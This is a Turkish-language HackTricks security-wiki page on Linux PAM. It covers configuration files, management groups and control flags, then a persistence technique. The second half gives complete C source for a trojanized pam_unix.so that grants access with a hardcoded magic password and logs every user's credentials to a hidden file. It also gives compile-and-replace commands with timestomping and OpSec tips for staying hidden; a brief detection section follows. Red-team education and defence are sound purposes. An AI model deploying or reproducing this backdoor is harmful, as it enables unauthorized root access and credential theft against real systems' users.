PAM - Pluggable Authentication Modules
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
PAM (Pluggable Authentication Modules), bilgisayar hizmetlerine erişmeye çalışan kullanıcıların kimliğini doğrulayan bir güvenlik mekanizması olarak işlev görür ve erişimlerini çeşitli kriterlere göre kontrol eder. Bu, yalnızca yetkilendirilmiş kullanıcıların belirli hizmetlerle etkileşimde bulunmasını sağlamak için dijital bir kapı bekçisi gibidir ve sistem aşırı yüklenmelerini önlemek için kullanımını sınırlayabilir.
Yapılandırma Dosyaları
- Solaris ve UNIX tabanlı sistemler, genellikle
/etc/pam.conf
konumunda bulunan merkezi bir yapılandırma dosyası kullanır. - Linux sistemleri, hizmete özgü yapılandırmaları
/etc/pam.d
içinde saklayarak bir dizin yaklaşımını tercih eder. Örneğin, oturum açma hizmetinin yapılandırma dosyası/etc/pam.d/login
konumundadır.
Oturum açma hizmeti için bir PAM yapılandırma örneği şöyle görünebilir:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
PAM Yönetim Alanları
Bu alanlar veya yönetim grupları, kimlik doğrulama ve oturum yönetim sürecinin farklı yönlerinden sorumlu olan auth, account, password ve session'ı içerir:
- Auth: Kullanıcı kimliğini doğrular, genellikle bir şifre istemekle.
- Account: Hesap doğrulamasını yönetir, grup üyeliği veya zaman kısıtlamaları gibi koşulları kontrol eder.
- Password: Şifre güncellemelerini yönetir, karmaşıklık kontrolleri veya sözlük saldırılarını önleme dahil.
- Session: Bir hizmet oturumunun başlangıcında veya sonunda dizinleri monte etme veya kaynak sınırlarını ayarlama gibi işlemleri yönetir.
PAM Modül Kontrolleri
Kontroller, modülün başarı veya başarısızlığa yanıtını belirler ve genel kimlik doğrulama sürecini etkiler. Bunlar şunları içerir:
- Required: Gerekli bir modülün başarısızlığı, tüm sonraki modüller kontrol edildikten sonra nihai bir başarısızlığa yol açar.
- Requisite: Başarısızlık durumunda sürecin hemen sonlandırılması.
- Sufficient: Başarı, sonraki modüllerin kontrollerini atlar, ancak bir sonraki modül başarısız olursa geçerli değildir.
- Optional: Yalnızca yığındaki tek modülse başarısızlığa neden olur.
Örnek Senaryo
Birden fazla auth modülü ile bir kurulumda, süreç katı bir sırayı takip eder. Eğer pam_securetty
modülü giriş terminalini yetkisiz bulursa, root girişleri engellenir, ancak "required" durumu nedeniyle tüm modüller yine de işlenir. pam_env
ortam değişkenlerini ayarlar, bu da kullanıcı deneyimine yardımcı olabilir. pam_ldap
ve pam_unix
modülleri, kullanıcıyı kimlik doğrulamak için birlikte çalışır; pam_unix
daha önce sağlanan bir şifreyi kullanmaya çalışarak kimlik doğrulama yöntemlerinde verimliliği ve esnekliği artırır.
PAM'yi Arka Kapı ile Açma – pam_unix.so
'yu Hooklama
Yüksek değerli Linux ortamlarında klasik bir kalıcılık numarası, meşru PAM kütüphanesini trojanize edilmiş bir drop-in ile değiştirmektir. Her SSH / konsol girişi pam_unix.so:pam_sm_authenticate()
çağrısını yaptığından, kimlik bilgilerini yakalamak veya büyülü bir şifre atlama uygulamak için birkaç satır C kodu yeterlidir.
Derleme Kılavuzu
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
Derle ve gizlice değiştir:
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
OpSec İpuçları
- Atomik yazma – yarı yazılmış kütüphanelerin SSH'yi kilitlemesini önlemek için geçici bir dosyaya yazın ve
mv
ile yer değiştirin. /usr/bin/.dbus.log
gibi günlük dosyası yerleşimi, meşru masaüstü artefaktlarıyla karışır.- PAM yanlış davranışını önlemek için sembol dışa aktarımlarını aynı tutun (
pam_sm_setcred
, vb.).
Tespit
pam_unix.so
'nun MD5/SHA256'sını dağıtım paketine karşı karşılaştırın./lib/security/
altında dünya yazılabilir veya alışılmadık sahiplik kontrol edin.auditd
kuralı:-w /lib/security/pam_unix.so -p wa -k pam-backdoor
.
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.